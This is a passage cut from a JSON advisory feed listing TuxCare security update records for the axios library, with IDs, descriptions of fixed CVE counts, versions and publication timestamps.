1.12.2-tuxcare.1.","status":"published","published":"2026-10-27T14:16:44Z","modified":"2026-10-27T19:30:03.618389185Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793874599","title":"TuxCare security update for axios (27 CVEs)","description":"TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.","status":"published","published":"2026-11-05T11:30:00Z","modified":"2026-11-05T13:15:17.383465117Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}